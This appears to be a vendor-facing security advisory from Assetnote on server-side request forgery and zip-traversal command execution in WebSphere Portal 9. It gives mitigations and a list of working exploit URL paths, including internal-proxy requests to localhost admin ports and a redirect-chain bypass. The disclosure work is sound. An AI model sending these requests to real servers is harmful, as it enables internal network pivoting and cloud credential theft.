Dec 25, 2021
Websphere Portal 9 and potentially newer releases are vulnerable to server-side request forgery, which allows attackers to request arbitrary URLs and read the full HTTP response for these requests.
Numerous SSRF vulnerabilities exist in Websphere Portal that can be exploited without any authentication.
Additionally, Websphere Portal is also vulnerable to post-authenticate command execution, through uploading a Zip file which when extracted is vulnerable to directory traversal.
An attacker can request arbitrary URLs on behalf of the Websphere Portal server. This could allow an attacker to pivot to the internal network and/or request cloud metadata endpoints to obtain cloud credentials. Users with post-authentication access can achieve RCE by uploading a malicious Zip file.
Websphere Portal 9 and potentially newer releases
WebSphere Portal is an enterprise software used to build and manage web portals. It provides access to web content and applications, while delivering personalized experiences for users. The WebSphere Portal package is a component of WebSphere application software.
We suggest that you modify all of the
proxy-config.xml files in your Websphere Portal installation so that no origins are whitelisted.
Additionally, if the functionality is not necessary for your installation of Websphere Portal, remove the following folders:
PortalServer/base/wp.proxy.config/installableApps/wp.proxy.config.ear WebSphere/wp_profile/installedApps/dockerCell/Quickr_Document_Picker.ear WebSphere/wp_profile/config/cells/dockerCell/applications/PA_WCM_Authoring_UI.ear
Do not rely on WAF rules to prevent exploitation of this issue. There are a number of ways to reach these endpoints that WAF rules may not sufficiently cover.
An advisory from HCL Technologies can be found here.
GET full read SSRF: /docpicker/internal_proxy/https/example.com /docpicker/internal_proxy/http/example.com /docpicker/internal_proxy/https/127.0.0.1:9043/ibm/console /docpicker/internal_proxy/http/127.0.0.1:9100/aa Redirect chain - turning "bad" SSRF to "good" SSRF /docpicker/common_proxy/http/www.redbooks.ibm.com/Redbooks.nsf/RedbookAbstracts/sg247798.html?Logout&RedirectTo=http://example.com /wps/proxy/http/www.redbooks.ibm.com/Redbooks.nsf/RedbookAbstracts/sg247798.html?Logout&RedirectTo=http://example.com /wps/myproxy/http/www.redbooks.ibm.com/Redbooks.nsf/RedbookAbstracts/sg247798.html?Logout&RedirectTo=http://example.com /wps/common_proxy/http/www.redbooks.ibm.com/Redbooks.nsf/RedbookAbstracts/sg247798.html?Logout&RedirectTo=http://example.com /wps/cmis_proxy/http/www.redbooks.ibm.com/Redbooks.nsf/RedbookAbstracts/sg247798.html?Logout&RedirectTo=http://example.com /wps/contenthandler/!ut/p/digest!8skKFbWr_TwcZcvoc9Dn3g/?uri=http://www.redbooks.ibm.com/Redbooks.nsf/RedbookAbstracts/sg247798.html?Logout&RedirectTo=http://example.com Arbitrary HTTP method + body: /wps/PA_WCM_Authoring_UI/proxy/http/example.com /wps/PA_WCM_Authoring_UI/proxy/https/example.com
Post authentication RCE details can be found here
The blog post detailing the steps taken for the discovery of this vulnerability can be found here.
Assetnote Security Research Team
The timeline for this disclosure process can be found below:
HCL technologies will cite you as in irresponsible vulnerability disclosure party to the communities that we post to
No response since Nov 23rd.